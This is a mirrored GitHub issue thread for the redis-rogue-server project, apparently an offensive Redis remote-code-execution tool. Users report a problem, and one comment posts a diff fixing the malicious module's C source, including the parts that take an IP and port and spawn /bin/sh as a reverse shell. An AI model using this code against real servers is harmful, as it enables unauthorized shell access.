Giter Site home page Giter Site logo

Comments (5)

Mr-LiT avatar Mr-LiT commented on September 13, 2024

Hi, do you solve this problem now? I encountered the same problem today. T_T

from redis-rogue-server.

aaaguirrep avatar aaaguirrep commented on September 13, 2024

Hi, do you solve this problem now? I encountered the same problem today. T_T

No yet.

from redis-rogue-server.

carlosmaroot avatar carlosmaroot commented on September 13, 2024

same issue here

from redis-rogue-server.

kism37 avatar kism37 commented on September 13, 2024

run with sudo, i don't know why but it seems to work here.

from redis-rogue-server.

VeNoMouS avatar VeNoMouS commented on September 13, 2024
2,6c2,5
<
< #include <stdio.h>
< #include <unistd.h>
< #include <stdlib.h>
< #include <errno.h>
---
> #include <stdio.h>
> #include <unistd.h>
> #include <stdlib.h>
> #include <errno.h>
8c7
< #include <sys/types.h>
---
> #include <sys/types.h>
11a11,14
> #include <string.h>
> #include <arpa/inet.h>
>
>
16c19
<                 char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
---
>                 const char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
41,42c44,45
<               char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
<               char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
---
>               const char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
>               const char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
50c53
<
---
>
57c60,61
<               execve("/bin/sh", 0, 0);
---
>               char *argv[] = { NULL };
>               execve("/bin/sh", argv, NULL);

from redis-rogue-server.

Related Issues (4)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.